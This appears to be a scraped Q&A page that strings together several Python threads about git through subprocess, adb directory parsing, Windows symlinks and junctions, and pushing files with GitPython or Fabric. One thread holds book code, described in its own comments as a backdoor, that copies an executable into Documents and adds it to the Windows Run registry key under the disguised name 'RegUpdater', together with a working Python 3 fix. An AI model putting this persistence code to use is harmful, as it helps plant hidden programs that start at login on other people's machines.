I am trying to use git with python subprocess.Popen()
So far this is my code
import subprocess
gitPath = 'C:/path/to/git/cmd.exe'
repoPath = 'C:/path/to/my/repo'
repoUrl = 'https://www.github.com/login/repo'
#list to set directory and working tree
dirList = ['--git-dir='+repoPath+'/.git','--work-tree='+repoPath]
#init git
subprocess.Popen([gitPath] + ['init',repoPath],cwd=repoPath)
#add remote
subprocess.Popen([gitPath] + dirList + ['remote','add','origin',repoUrl],cwd=repoPath)
#Check status, returns files to be committed etc, so a working repo exists there
subprocess.Popen([gitPath] + dirList + ['status'],cwd=repoPath)
#Adds all files in folder
subprocess.Popen([gitPath] + dirList + ['add','.'],cwd=repoPath)
#Push, gives error:
subprocess.Popen([gitPath] + dirList + ['push','origin','master],cwd=repoPath)
This works, except for the last command. That's where I get this error:
bash.exe: warning: could not find /tmp, please create!
fatal: 'git' does not appear to be a git repository
fatal: Could not read from remote repository.
Please make sure you have the correct access rights
and the repository exists.
Of course I wouldn't expect it to work, since I did not put my login details anywhere in the code. I do not have any idea how I can add it though. I have a folder /.ssh in the C:/users/myUser directory. I tried changing the last line of my code to this:
env = {'HOME' : 'C:/users/myUser'}
subprocess.Popen([gitPath] + dirList + ['push','origin','master'],cwd=repoPath,env=env)
in the hope of git finding the /.ssh folder, but without any luck. I also tried without 'dirList', but it didn't matter. I also tried changing the name 'origin' into an url, but that also didn't work.
I do not mind if I am using the .ssh keys I already created, or if I have to use a method with login/password. I am not looking to use a git library though.
There might be a race condition in this script. Earlier subprocess
might not finish while a next one errors out because a git command depends on the previous ones. Instead it is possible to start a subprocess and wait until it is finished with
subprocess.run() or subprocess.check_ouput(). Might still need adjustment depending on layout
import subprocess
import shutil
# get a location of git
gitPath = shutil.which('git')
repoPath = 'C:/path/to/my/repo'
repoUrl = 'https://www.github.com/login/repo'
# list to set directory and working tree
dirList = ['--git-dir='+repoPath+'/.git', '--work-tree='+repoPath]
# init git
subprocess.run([gitPath] + ['init', repoPath], cwd=repoPath)
# add remote
subprocess.run([gitPath] + dirList + ['remote', 'add', 'origin', repoUrl], cwd=repoPath)
# check status, returns files to be committed etc, so a working repo exists there
subprocess.run([gitPath] + dirList + ['status'], cwd=repoPath)
# adds all files in folder
subprocess.run([gitPath] + dirList + ['add', '.'], cwd=repoPath)
# push
subprocess.run([gitPath] + dirList + ['push', 'origin', 'main'], cwd=repoPath)
For credentials could use Windows Credential Manager, cache, manager, --global, etc. - depends on what's needed.
git config --global credential.helper cache
# or in python
subprocess.run([gitPath] + ['config', 'credential.helper', 'cache', repoPath], cwd=repoPath)
Related
Hey guys I am using this code from a book. For the code it does take putty and move it to the document folder, but it does not end up putting in the registry key. I am running it python version 2.7 on a windows 7 64 bit machine.
import os # needed for getting working directory
import shutil # needed for file copying
import subprocess # needed for getting user profile
import _winreg as wreg # needed for editing registry DB
path = os.getcwd().strip('/n') #Get current working directory where the backdoor gets executed, we use the output to build our source path
Null,userprof = subprocess.check_output('set USERPROFILE', shell=True).split('=')
destination = userprof.strip('\n\r') + '\\Documents\\' +'putty.exe'
if not os.path.exists(destination):
shutil.copyfile(path+'\putty.exe', destination)
key = wreg.OpenKey(wreg.HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Run",0,
wreg.KEY_ALL_ACCESS)
wreg.SetValueEx(key, 'RegUpdater', 0, wreg.REG_SZ,destination)
key.Close()
I run it in python 3 and it works well
path = os.getcwd().strip('\n')
Null, userprof = subprocess.check_output('set USERPROFILE', shell=True, stdin=subprocess.PIPE,
stderr=subprocess.PIPE).decode().split('=')
destination = userprof.strip('\n\r') + '\\Documents\\' + 'client.exe'
if not os.path.exists(destination):
shutil.copyfile(path + '\client.exe', destination)
key = wreg.OpenKey(wreg.HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Run", 0, wreg.KEY_ALL_ACCESS)
wreg.SetValueEx(key,'RegUpdater', 0 , wreg.REG_SZ, destination)
key.Close()
So i'm trying to parse a directory tree but the directory tree is not on my local computer. I was able to do it but the problem is that when I tree to parse a path that has a lot of directories inside of it, it takes a long time to complete the process. I thought that by making my code run on multiple threads that it wouldn't take as long, but i'm having some trouble with where to start for the multi-threading process. I've provided my existing code below. If anyone has any advice please commit.
Thank you
NOTE
Some of the code uses pyqt5 to display the directory tree to a ui that I created.
def populate_values(self):
list_of_dir = GenVar.device.shell("ls {} -p | grep \"/\"".format(GenVar.path)).split('\n')[0:-1] # Find all directories in the root path
while len(list_of_dir) > 0:
try:
dir, parent = list_of_dir[0]
list_of_dir.pop(0)
except:
dir = GenVar.path + list_of_dir.pop(0)
dir_parent = QTreeWidgetItem(parent)
dir_parent.setText(0, dir[len(GenVar.path):])
dir_items = self._get_sysfs_nodes(path = dir)
for item in dir_items:
child = QTreeWidgetItem(dir_parent)
child.setText(0, item)
new_list = GenVar.device.shell("ls {} -p | grep \"/\"".format(dir)).split('\n')[0:-1] # Checking if there are any directories within the current directory
# If there are any directories clean them up and add them to the list_of_dir list
if len(new_list) > 0:
for i, child_path in enumerate(new_list):
if child_path[-1] != '/':
child_path += '/'
new_list[i] = (dir + child_path, dir_parent)
list_of_dir += new_list
EDIT
GenVar.device is an adb client. So the directory path is not on a shared computer of my local computer its on an adb server. So the code is running on my local machine but Im communicating with an adb server.
I am trying to create symlinks using Python on Windows 8. I found This Post and this is part of my script.
import os
link_dst = unicode(os.path.join(style_path, album_path))
link_src = unicode(album_path)
kdll = ctypes.windll.LoadLibrary("kernel32.dll")
kdll.CreateSymbolicLinkW(link_dst, link_src, 1)
Firstly, It can create symlinks only when it is executed through administrator cmd. Why is that happening?
Secondly, When I am trying to open those symlinks from windows explorer I get This Error:
...Directory is not accessible. The Name Of The File Cannot Be Resolved By The System.
Is there a better way of creating symlinks using Python? If not, How can I solve this?
EDIT
This is the for loop in album_linker:
def album_Linker(album_path, album_Genre, album_Style):
genre_basedir = "E:\Music\#02.Genre"
artist_basedir = "E:\Music\#03.Artist"
release_data_basedir = "E:\Music\#04.ReleaseDate"
for genre in os.listdir(genre_basedir):
genre_path = os.path.join(genre_basedir, "_" + album_Genre)
if not os.path.isdir(genre_path):
os.mkdir(genre_path)
album_Style_list = album_Style.split(', ')
print album_Style_list
for style in album_Style_list:
style_path = os.path.join(genre_path, "_" + style)
if not os.path.isdir(style_path):
os.mkdir(style_path)
album_path_list = album_path.split("_")
print album_path_list
#link_dst = unicode(os.path.join(style_path, album_path_list[2] + "_" + album_path_list[1] + "_" + album_path_list[0]))
link_dst = unicode(os.path.join(style_path, album_path))
link_src = unicode(album_path)
kdll = ctypes.windll.LoadLibrary("kernel32.dll")
kdll.CreateSymbolicLinkW(link_dst, link_src, 1)
It takes album_Genre and album_Style And then It creates directories under E:\Music\#02.Genre . It also takes album_path from the main body of the script. This album_path is the path of directory which i want to create the symlink under E:\Music\#02.Genre\Genre\Style . So album_path is a variable taken from another for loop in the main body of the script
for label in os.listdir(basedir):
label_path = os.path.join(basedir, label)
for album in os.listdir(label_path):
album_path = os.path.join(label_path, album)
if not os.path.isdir(album_path):
# Not A Directory
continue
else:
# Is A Directory
os.mkdir(os.path.join(album_path + ".copy"))
# Let Us Count
j = 1
z = 0
# Change Directory
os.chdir(album_path)
Firstly, It can create symlinks only when it is executed through administrator cmd.
Users need "Create symbolic links" rights to create a symlink. By default, normal users don't have it but administrator does. One way to change that is with the security policy editor. Open a command prompt as administrator, run secpol.msc and then go to Security Settings\Local Policies\User Rights Assignment\Create symbolic links to make the change.
Secondly, When I am trying to open those symlinks from windows explorer I get This Error:
You aren't escaping the backslashes in the file name. Just by adding an "r" to the front for a raw string, the file name changes. You are setting a non-existant file name and so explorer can't find it.
>>> link_dst1 = "E:\Music\#02.Genre_Electronic_Bass Music\1-800Dinosaur-1-800-001_[JamesBlake-Voyeur(Dub)AndHolyGhost]_2013-05-00"
>>> link_dst2 = r"E:\Music\#02.Genre_Electronic_Bass Music\1-800Dinosaur-1-800-001_[JamesBlake-Voyeur(Dub)AndHolyGhost]_2013-05-00"
>>> link_dst1 == link_dst2
False
>>> print link_dst1
E:\Music\#02.Genre_Electronic_Bass Music☺-800Dinosaur-1-800-001_[JamesBlake-Voyeur(Dub)AndHolyGhost]_2013-05-00
os.symlink works out of the box since python 3.8 on windows, as long as Developer Mode is turned on.
If you're just trying to create a link to a directory, you could also create a "Junction", no admin privileges required:
import os
import _winapi
src_dir = "C:/Users/joe/Desktop/my_existing_folder"
dst_dir = "C:/Users/joe/Desktop/generated_link"
src_dir = os.path.normpath(os.path.realpath(src_dir))
dst_dir = os.path.normpath(os.path.realpath(dst_dir))
if not os.path.exists(dst_dir):
os.makedirs(os.path.dirname(dst_dir), exist_ok=True)
_winapi.CreateJunction(src_dir, dst_dir)
I try to get a list of all modified files like this:
repo_path = '.'
repo_url = 'git#github.com:username/myfolder.git'
repo = Gittle(repo_path, origin_uri = repo_url)
repo.modified_files
But the list of files I get is rather huge and contains garbage. In fact, it has nothing to do with the list that I get if I run in console:
$ git status
So, my question is how to get a true list of modified files with Gittle library. I want this list in order to perform addition and commits.
Sounds like you are executing from the wrong path.
import os
path = '/path/to/repo' # or use input from command line
savedPath = os.getcwd()
# do init stuff
os.chdir(path)
# do repo stuff
repo_path = '.'
repo_url = 'git#github.com:username/myfolder.git'
repo = Gittle(repo_path, origin_uri=repo_url)
print repo.modified_files
# finish repo stuff
os.chdir(savedPath)
# do other stuff
Original Question
I've got some python scripts which have been using Amazon S3 to upload screenshots taken following Selenium tests within the script.
Now we're moving from S3 to use GitHub so I've found GitPython but can't see how you use it to actually commit to the local repo and push to the server.
My script builds a directory structure similar to \images\228M\View_Use_Case\1.png in the workspace and when uploading to S3 it was a simple process;
for root, dirs, files in os.walk(imagesPath):
for name in files:
filename = os.path.join(root, name)
k = bucket.new_key('{0}/{1}/{2}'.format(revisionNumber, images_process, name)) # returns a new key object
k.set_contents_from_filename(filename, policy='public-read') # opens local file buffers to key on S3
k.set_metadata('Content-Type', 'image/png')
Is there something similar for this or is there something as simple as a bash type git add images command in GitPython that I've completely missed?
Updated with Fabric
So I've installed Fabric on kracekumar's recommendation but I can't find docs on how to define the (GitHub) hosts.
My script is pretty simple to just try and get the upload to work;
from __future__ import with_statement
from fabric.api import *
from fabric.contrib.console import confirm
import os
def git_server():
env.hosts = ['github.com']
env.user = 'git'
env.passowrd = 'password'
def test():
process = 'View Employee'
os.chdir('\Work\BPTRTI\main\employer_toolkit')
with cd('\Work\BPTRTI\main\employer_toolkit'):
result = local('ant viewEmployee_git')
if result.failed and not confirm("Tests failed. Continue anyway?"):
abort("Aborting at user request.")
def deploy():
process = "View Employee"
os.chdir('\Documents and Settings\markw\GitTest')
with cd('\Documents and Settings\markw\GitTest'):
local('git add images')
local('git commit -m "Latest Selenium screenshots for %s"' % (process))
local('git push -u origin master')
def viewEmployee():
#test()
deploy()
It Works \o/ Hurrah.
You should look into Fabric. http://docs.fabfile.org/en/1.4.1/index.html. Automated server deployment tool. I have been using this quite some time, it works pretty fine.
Here is my one of the application which uses it, https://github.com/kracekumar/sachintweets/blob/master/fabfile.py
It looks like you can do this:
index = repo.index
index.add(['images'])
new_commit = index.commit("my commit message")
and then, assuming you have origin as the default remote:
origin = repo.remotes.origin
origin.push()